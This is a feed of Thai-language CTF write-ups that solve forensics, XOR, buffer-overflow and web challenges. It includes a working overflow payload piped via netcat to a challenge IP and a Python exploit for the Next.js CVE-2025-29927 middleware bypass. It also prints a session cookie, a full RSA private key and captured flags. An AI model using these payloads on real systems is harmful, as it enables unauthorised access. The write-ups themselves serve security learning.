&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*vAfmCchB6kE0xLR-J1nPzw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tcp.stream eq 4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;เนื้อหาข้างในไฟล์ tcp stream จะเป็นแบบนี้
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*luISlRWQXw967WXwaGFjMw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ซึ่งเราจะเห็น variable ชื่อว่า “data” ดูเหมือนว่าแต่ละ string ของข้อมูลจะถูกส่งเป็นช่วงๆ เพราะฉะนั้นเราจึงเอา strings มาต่อกัน เราก็จะได้&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UEsDBBQAAAAIAKYAEls0JprpZwEAADUCAAAPAAAAbG92ZV9sZXR0ZXIudHh0RZFBb9swDIXv/hW89RIEbdpl3bGHASuw3gYMPdISFROVxECS4xlD//uenAC72AAfyffx6W0lL1yktt0wvNI4a2zEVM/ilCO5ibVQsEJzJc1VvZDNhd40iyscGi1Wot/Td3YTjdHcB00WfcWOs4pDd6C00gSPhq6LlBXCH4ldWMw8aSXH5SKeFm0T5pIkQxf07sT+IrnNINwPww/1XvLWqJnwqVd/iip1G62VT4I/50aW47qxrzbv6ZfRnJ2BgLTteu0uRsoC42ZkZ+kL5XYxZ3/jb3YS1MsmjmuDzytFCbjm94QZ7KGgaO96RSjyf/nEF6FzsX5KQC4LpRkx9ZFO2H2T4KwXsMeF17rbTo6A 7LEIcD3wsjVkT85SAheaxnkrdMemSWiR/mBg8IIJzadNuiYDrT+qh83PvvdmNLx3pysvMk5apAxDiHz6G+7HR/kqj1+Oz8eHY+Cjf+LDgf29+Cf3/E0+h39QSwECFAMUAAAACACmABJbNCaa6WcBAAA1AgAADwAAAAAAAAAAAAAAgAEAAAAAbG92ZV9sZXR0ZXIudHh0UEsFBgAAAAABAAEAPQAAAJQBAAAAAA==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จากนั้นเราเอาไป decode base64 ดู จะเห็นว่าคำนำหน้า output เป็น &lt;code&gt;PK&lt;/code&gt; นั่นหมายความว่าข้อมูลนี้เป็น raw ที่สามารถแปลงกลับเป็นไฟล์ปกติได้
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*WYoxRdzmoNsb2qls7yJdWg.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากนั้นเราจะใส่ unzip เข้าไปเพื่อ compile file ให้กลับเป็นรูปเดิม
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*87g6tIdCARNXKJ3MiTo8CA.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราก็จะได้ flag ในที่สุด&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{f0b3e7e3568616fa6d4a22ad0ed4c89e}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2. Cipher Puzzle (200 points)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:640/format:webp/1*1YUPQEr00sBj9Quc3i3keA.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ไฟล์ที่เราจะได้มาก็เหมือนกับข้อที่แล้ว มีไฟล์ .pcap แค่อันเดียว ไม่รอช้า ลากเข้า wireshark เลย!
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*4BAuKXFeHldSfGsXXhYOjw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เอ๊ะแรกคือ log มีน้อย เอ๊ะสองคือมี tcp เยอะเหมือนข้อแรก ผมเลยมุ่งไปที่ tcp stream อันดับแรกเลย และก็บิงโก!!
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*O13PuU-PrSRs0H-objyLUw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เพราะเราเจอข้อความที่เป็น hex และถูกส่ง string เป็นช่วงๆ เหมือนข้อ Love Letter คราวนี้เราก็พอจะเดาได้ว่าเราต้องทำอะไรต่อ เริ่มจากเอา strings มาต่อกัน&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2504020b004d071c0e0a0305426d65210e00002c0c154e0e1c4d090b150a436b2747070c170b470704050a02014d0000081b05041c470208121d0608084108081d4d180112414d6b6401030c0615525f0b030f5f595d0258045a5e555d510c0f0008010a55525756595c580b5158106b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;จากนั้นก็ hex decrypt เพื่อให้ cipher อยู่ในรูปปกติ แต่เหมือนว่ามันจะถูก xor ด้วย key อะไรบางอย่าง
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*K4dEVP5fEgsrPfDsSrmypw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;วิธีที่เราจะใช้คือ xor brute force ด้วย wordlist เริ่มจากโหลด output ที่ได้จากตอน hex decrypt มาก่อน (&lt;code&gt;.dat&lt;/code&gt;)
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*IuBeqVrT4IAHr_Ga2RUnyg.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;หน้าตาก็จะประมาณนี้แหละ&lt;/p&gt;
&lt;p&gt;จากนั้นเราจะ brute force ด้วย python code สามารถใช้โค้ดด้านล่างนี้ได้เลย และ wordlist ที่ใช้จะเป็น rockyou.txt (จาก GitHub)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def xor_bytes(data, key: bytes) -&amp;gt; bytes:  
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])  

# download cipher   
with open(&quot;download.dat&quot;, &quot;rb&quot;) as f:  
    ciphertext = f.read()

# import wordlist   
with open(&quot;rockyou.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:  
    keys = [line.strip().encode() for line in f]  

for key in keys:  
    plaintext = xor_bytes(ciphertext, key)  
    # filter the answer (ASCII)  
    if all(32 &amp;lt;= c &amp;lt; 127 or c in (10, 13) for c in plaintext[:200]):  
        print(f&quot;[KEY: {key.decode(errors=&apos;ignore&apos;)}] =&amp;gt; {plaintext[:200]}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*bD_2s_olfC5UuVNPf1a1Xw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แล้วเราก็จะได้ Key &amp;amp; Flagในที่สุด 🎉&lt;/p&gt;
&lt;p&gt;หรือจะเอาไป xor โต้งๆอีกทีใน cyberchef ก็ได้
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*ntqORpY2mcJE3DqUWRj_Qw.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;now we got the flag!!!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{50fba860c6c53436cbaffe8391619e67}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Thank you for reading kub pom ❤&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1100/format:webp/1*qbnyB8KCc2JRwb_ht4B59w.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; Thctt2025, CTF, CTF Writeup, Network Security&lt;/p&gt;
</content:encoded></item><item><title>Pwn | ASEAN Open CTF 2025</title><link>https://fuwari.vercel.app/posts/3pwn-aseanctf/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/3pwn-aseanctf/</guid><description>หนีห่าวมา ว่อเจี้ยวโช วันนี้จะมาแสดงวิธีทำโจทย์หมวด pwn สไตย์ผมกันนะครับ เพื่อไม่เป็นการเสียนาฬิกา ไปดูกันเลยยยยย</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Pwn | ASEAN Open CTF 2025&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Aug 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;หนีห่าวมา ว่อเจี้ยวโช วันนี้จะมาแสดงวิธีทำโจทย์หมวด pwn สไตย์ผมกันนะครับ เพื่อไม่เป็นการเสียนาฬิกา ไปดูกันเลยยยยย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:800/format:webp/1*c6D49DWXxNtOiQDAoWIGuQ.gif&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;มาเริ่มกันที่ข้อแรก กับข้อ EZ_PWN&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*9J_Cr0GN0wr7gitTpTegEw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โดยเปิดมาก็เจอไฟล์ zip ให้เราโหลด บวกกับต้องเล่นผ่าน netcat แค่คิดก็เหนื่อยแล้ววว เลยขอเปิดที่ netcat นี่แหละ อยากรู้ว่าต้องเล่นอะไรร&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1362/format:webp/1*0ACpPvhPuLNqya5yd-Hldw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เห็นขนาดนี้ก็ภาวนาในใจขอให้เอาไฟล์เข้า ghidra แล้วเจอ password พร้อมกับโหลดไฟล์ และใน zip ก็จะมีแค่นี้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:348/format:webp/1*MTopE4oMmoUcr_onkxGVQw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let move to ghidra!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:928/format:webp/1*A_1QvvjI2V_vJM-hquwKJg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;โดยเริ่ม step แรกของเรากันก่อน จะเริ่มจาก main()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3aeUaUXYhwFvwfeWaIenqg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;function นี้มีการ call function 2 อันคือ check_password() และ triggerland() เราลองไปดู check_password() กันดีกว่า&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2zMyrEnYFzSwqGRTLlw05w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราเจอ password 2 อัน “security123” &amp;amp; “P@ss0wrd”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*NjIMR5W9y1_EnjLR-y4Pzg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1376/format:webp/1*mtakRG0-nh85Q9b_8k6Lfw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เมื่อลองใส่ password ทั้ง 2 ก็จะเห็นว่าเราควรใช้ “security123” เพราะเหมือนมันสามารถให้เราเข้า access อะไรบางอย่างของมันได้ ซึ่งนั่นก็คือ triggerland() นั่นเอง!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*RjFEhfM05dZKQKVBiK2xtA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แต่คำถามคือแล้ว function ที่มี flag มันอยู่ไหน ก็เลยไปเจอว่ามันอยู่ที่ onepiece()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*S-dR6OEIPWKnvHguLXkMVw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ประเด็นมันอยู่ว่า ตอนนี้เราใส่ password แล้วมาถึง triggerland() แต่ในนี้มันไม่มีอะไรที่จะ call function onepiece() ได้เลย แล้วเราจะทำยังไง&lt;/p&gt;
&lt;p&gt;วิธีที่เราจะใช้ก็คือ buffer overflow ไงล่ะะะ!!!&lt;/p&gt;
&lt;p&gt;เป้าหมายของเราคือพา program ของเรากระโดดไปเรียก onepiece() ที่มี flag ซ่อนไว้!!&lt;/p&gt;
&lt;p&gt;แต่ก่อนที่จะเริ่มโจมตี เรามาทำความเข้าใจเกี่ยวกับโปรแกรมนี้กันก่อน เจ้า triggerland() เนี่ย มันจะรับ input buffer ได้ 64 bytes ซึ่งถ้าจะ buffer overflow มันเนี่ย แน่นอนเราจะใส่ input ที่เกิน buffer ของมัน ปัญหาคือ แล้วต้องทำแบบไหนให้มันกระโดดไปที่ onepiece() กันล่ะ&lt;/p&gt;
&lt;p&gt;เอางี้ เรามาลงลึกตรงจุดนี้กันดีกว่า&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*r5ckV8mQ3LXxzLbee3pocg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เวลา function ใน C ทำงานบน x86–64 compiler จะใช้ calling convention ที่สร้าง “stack frame” ของ function ขึ้นมา พอ triggerland() เริ่มทำงาน คำสั่ง assembly แรกๆ โครงสร้างมันจะเป็นแบบนี้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1198/format:webp/1*5bq4XsDmOxQnSpGCgNA_CA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ตรง push rbp จะเก็บค่า RBP ของฟังก์ชันที่เรียกมา (caller) ไว้บน stack เรียกว่า saved RBP&lt;/p&gt;
&lt;p&gt;stack ของ triggerland() จะประมาณนี้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*tg8_e3NrN6uTAWpQj0UpEw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เวลา get(local_48) มันจะเขียนทับ local_48 ก่อน ถ้าเกิน 64 bytes ก็จะทับ saved RBP (8 bytes ถัดมา) แล้วถ้าเกินอีก 8 bytes ก็จะทับ return address ซึ่งจุดนี้คือจุดที่เราจะใส่ address ของ onepiece()&lt;/p&gt;
&lt;p&gt;เพราะฉะนั้น offset รวมจากบัฟเฟอร์ไปจนถึง return address = 64 + 8 = 72 bytes&lt;/p&gt;
&lt;p&gt;โดยรวม input ที่เราจะส่งก็จะประมาณนี้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*5qWy6CoMvhVFrOEYT-tK-A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;สิ่งที่เราต้องการตอนนี้คือ address ของ onepiece() นั่นก็คือ 21011196 หรือ 0x21011196&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*NfsR6NI_Y9-TqLPrQOXp0w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เมื่อเราได้มาแล้วก็เขียน payload code กันนน!!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ( printf &apos;security123\n&apos;; python3 -c &apos;import sys,struct; sys.stdout.buffer.write(b&quot;A&quot;*72+struct.pack(&quot;&amp;lt;Q&quot;,0x21011196)+b&quot;\n&quot;)&apos; ) | nc 203.154.91.221 5225
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s exploit!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*wZizXr7KD1FuAWOcHikynw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แนะนำว่าใช้ code ดีกว่าพิมพ์เอง เพราะจะติดเรื่อง “inability to send raw bytes via standard input”&lt;/p&gt;
&lt;p&gt;ขอบคุณที่อ่านจนจบครับบ See u next illusion~&lt;/p&gt;
</content:encoded></item><item><title>CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้</title><link>https://fuwari.vercel.app/posts/2ncsabootcamp/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/2ncsabootcamp/</guid><description>งานที่ผมไปเป็นรุ่นที่ 4 ของปี 2025 เดาว่าโจทย์ของผมน่าจะแตกต่างจากรุ่นก่อนๆ โจทย์ที่อยู่ใน writeup นี้จะมีทั้งของที่อมรมและแข่งนะครับ</description><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;by ShoIsMyName • Jul 2025&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;งานที่ผมไปเป็นรุ่นที่ 4 ของปี 2025 เดาว่าโจทย์ของผมน่าจะแตกต่างจากรุ่นก่อนๆ โจทย์ที่อยู่ใน writeup นี้จะมีทั้งของที่อมรมและแข่งนะครับ&lt;/p&gt;
&lt;p&gt;โอเคร เรามาเริ่มกันเลยดีกว่า !!&lt;/p&gt;
&lt;p&gt;BigNote: โจทย์ที่ผมเอามาทั้งหมดนี้เป็นโจทย์ที่ผมทำได้ ส่วนอันที่ทำไม่ได้…. ผมก็ไม่เอามา 55555555 ( อาจเอามาไม่ทั้งหมดนะครับ บางไฟล์หายแล้ว)&lt;/p&gt;
&lt;h2&gt;Web application&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Web 1 (300)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*8cOVXk919we15e04M0v5VQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Hint ของโจทย์: เว็บใช้ Next.js และมีช่องโหว่ CVE-2025–29927&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;ครั้งแรกที่เห็นโจทย์ก็มึนตึ้บ เพราะไม่รุ้มันทำงานยังไง ผมเลยเข้าไปดู payload ที่เว็บ &lt;a href=&quot;https://www.picussecurity.com/resource/blog/cve-2025-29927-nextjs-middleware-bypass-vulnerability&quot;&gt;picussecurity&lt;/a&gt; เผื่อจะได้เข้าใจช่องโหว่ไวๆ&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;เลยสรุปได้ว่าาาา : &lt;em&gt;เราต้องยิง request โดยมี x-middleware-subrequest อยู่บนHeader ( method GET ) มันจะทำให้ตัวเว็บเชื่อเราและ bypass ได้&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;โดยเราจะส่ง request ไปที่ /api/admin ( ตามที่ใบ้ในรูป )&lt;/p&gt;
&lt;p&gt;And this is my codeeee&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
url = &quot;https://outdated.sdhbank.p7z.pw/api/admin&quot;
headers = {
    &quot;X-Middleware-Subrequest&quot;: &quot;X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware&quot;,
    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36&quot;,
    &quot;Cookie&quot;: &quot;cf_clearance=.CgWdsWz7EB_K7l7tYRBZDzZkDoHks2kFtWHjGHuV3Y-1752990655-1.2.1.1-3illUuCoEmiEE8dtyP6NEqXPK1DRxpT5Xa1mBhTfQslE6TURkyjVtTaQXwaNWnh8jwETzFLWTYyvh84K1s1ZJZgq05jO3ClVCL057hovhgIiMcQo7E17asPC2GwF_keBmfIYo4V3Ed73oeaf11Q7fCBcuv2cqub6u80iGrYdmpQ5fJOaffDR3E.HPuWnEBPQ0y7WJDZerB5IbjjaDe_YXr0jophleWrTH4BrTVRI.6s&quot;,
    &quot;Accept&quot;: &quot;*/*&quot;
}
r = requests.get(url, headers=headers, verify=False)
print(f&quot;[+] Status Code: {r.status_code}&quot;)
print(&quot;[+] Response:&quot;)
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;🚩 Flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1396/format:webp/1*wgLZQ1KxTz9Za28HO03Kcw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ความจิงก็ทำผ่าน Burp-suite ก็ได้นะ แต่อยากเท่… 55555&lt;/p&gt;
&lt;h2&gt;Forensic ( network )&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;🕵️ Incident 07-PhantomLink (300)&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;ไฟล์ที่เราได้มาจะมีไฟล์ _MACOSX และ .pca&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:418/format:webp/1*nZKjhJ6cuOjRc00Y_JIE8A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ผมเห็นว่า log request ใน wireshark น้อยดี ผมเลย check tcp.stream eq ทีละตัว&lt;/p&gt;
&lt;p&gt;โดยจุดที่ผมเจอ จะอยู่ที่ tcp stream eq ที่ 2 และ 4&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*NMQNyqlOhxbzzdwPVM7qkw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ถ้าสังเกตจาก ASCII table ข้างๆ hex จะเห็นข้อความว่า “ Thank you for registering for the Moo Deng Fan Meet! ” ถือว่าเป็นสัญญาณดี ผมเลยกดเข้าไปดู tcp stream ( ctrl + alt + shift + t )&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*KQBAuYxU61OnaRQyLwojeQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จะเห็นได้เลยว่าจะมี encode word ที่พอจะเดารางๆได้ว่าเป็น base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*eqVifcgJBsn6-gVBZLw_qQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เย้ 🎉เราได้มาแล้วครึ่ง flag ……&lt;/p&gt;
&lt;p&gt;จุดต่อไปก็อยู่ใม่ไกลมาก นั่นก็คือ tcp stream eq 4 หน้าตาจะประมาณนี้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hh9dztVlR7vLRosEvFna2A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ดูที่ตาราง ASCII table เหมือนเดิม เราจะเห็นคำว่า secret_half2.txt ตามสูตรเดิม&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1248/format:webp/1*KqmXoAxRJmclkgkzjVnrPA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เย้ 🎉ได้ flag ครบเป็นที่เรียบร้อย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*pua9wsol4OeBDLmIL5LPuQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🚩 Flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1204/format:webp/1*V8asj63QwNRg-P-2I7robQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;🕵️ Operation ShadowStream (400)&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;ไฟล์ที่เราได้มาจะเป็น .pcapng ธรรมดาๆอันนึง และไฟล์ private_key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:570/format:webp/1*RnPby7IfQVlLhTB568oBxA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;อันดับแรกเราไปเช็ค .pcapng ใน wireshark กันดีกว่า&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Uzv7_8QMSFIcuHQXt-D-vg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ไอ้เราเห็นก็ตกใจ ทำไม request น้อยจัง งั้นก็เข้าทางเราเลย~~ ผมเลยเข้าไปดู TCP Stream ก็เห็นเป็นประวัติการเข้าใช้งาน terminal ใน linux แต่ดูเหมือนว่า result ของ command จะถูก Encrypt ด้วย public_key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*8l0lbVL1yoj38pVI7MKKdw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แต่ไม่เป็นไรร เพราะเรามี private_key 😏😏😏😏&lt;/p&gt;
&lt;p&gt;ไม่รอช้า decrypt สิครับคุณผู้โชม&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Hash import SHA256
import base64
private_key_pem = &quot;&quot;&quot;-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDOATz3KvtmyNEr
JoG37gxt78taWaQI8F7hQ3jq4qCe3Lxur0/DACTdLHexcMJha5V0m42HY1i2ZqMo
sOCqNtbr5vG/ygY2+/neNb3h0Igtwkyd7FiVyEAzz4jmk4oLXimo+HwJ4Bn58RXD
4wGA8kTuNn7c8oxcUjyJRlipVLqNr997SyanEy1CgQNtCgshz/cvPeCwkmmLd/HY
VYH53KJkoaVz4atFuj+byt1cuEL4SXZ4W8WAck2dXvYSzurP0xnDm62VQIG6mkxl
i+PNinUZBz/lNWIJikkAayL1hoHjCy7EtC3CGyKQG2QKGBAKVblg9qF4p+K8Q1fs
M40jtxftAgMBAAECggEAAy0CYJkZXmtIIOSAvsd9CjuBJLfEZJ2NXjxTt+NIhfUc
iTmgqX6YvY7QRZGvHXYIIXpobdGP7jfvhKgSvpexK9qCmD9SuzRFP4dlPFRM/8+Y
A3M/plzQ8zuG08SAg05Z/BCLRlJdyXxNpphwTymXpch8n4a0YpP4pPEgWslDRaiN
BPlSAHKVNvHyckpR2Bg0TlwpKt+ZOEKaZyT5atTXc9vgvY8TZAZ92Ckz2oZQS+S7
bQq24EcqHjoLaemGEy9NywAZ+qUL8vU8Zd6wkNO79I7qnqTcE7pwGpqLk/svvbFE
hpq6UMiX0LPCdYI/h33AHc4dDtcXwLjb+kUVyyxSoQKBgQDy03FCBYs4F9rGF66S
gUs2K6SFwK6s1dbEOrku+1kfjD4iEjR6Psl8hOVCDF+74V0DBvcaEGVHnrAuMyDM
MIbgSkcs6exsC0suOxamY6hXD+dp1lmOHukFShPLJH4t3W3QMsg5sVtJVaODeoqx
KKfT3uA/La6S+oWPfDngal9GyQKBgQDZLmUsvBKPASNlOR9NG/zW/+7y9RnaTnay
B4NZtz9yygf5maLQzQfEsqFb3l25oQJqCmZ20hlsWK0uwfdEBxaZAZd8LDVxqUP2
nIrAXY98TdLDVa8iZnzR7u8oN1+7GDGge050ZoADd+T1m56s55roaHAIBChf74hl
P3qhQaIGBQKBgEEbeG6fVejAXKRojSIzEJuBsCc8tpkY7PDIXga+1fKjg7VW9EMi
uptsdpvy/Wg+0NWS9IZEhyNg5RQ+GTkmecOBpvvf7Mg7bvkCVtxeNDDDzuSN2I1G
tGv6pLv/GOXrTRpZw13UtAlBsQn7vVwq7nTceXv3H6vBCDaktE/7tXghAoGADI2N
84P7XqCmNxeSI5bWimbInOpl0CRw3+FnSiw5Up0y0M58hq0TId9hTDoSGMShqxdm
zL9gEM8fU3CKpjfyqm1ZICg9/o/WCc8KhgviW0D0Sa4OLWLXHBs/X4ez1NCVLb1y
z2+NPqYTac7Q4RWR8pT2xL/YxZLGw3Nj1yZAAzECgYAb2FPm1fRVJFMT9mxOIbkH
Zk9wpL+wFC8/DLOm44X9Ggu1fQh9FA2wEd6nqDTYYVw1yzYIh8wKAa6/KMmTQEmg
m6p1m4rvsXaCi7XJ7i3Kz8C/IuEQLFix9h6kkXDwkJfxpVIpwHzULMKJyqDdMBo0
vD+kIlL8I+MaMfnnDXsPAw==
-----END PRIVATE KEY-----&quot;&quot;&quot;
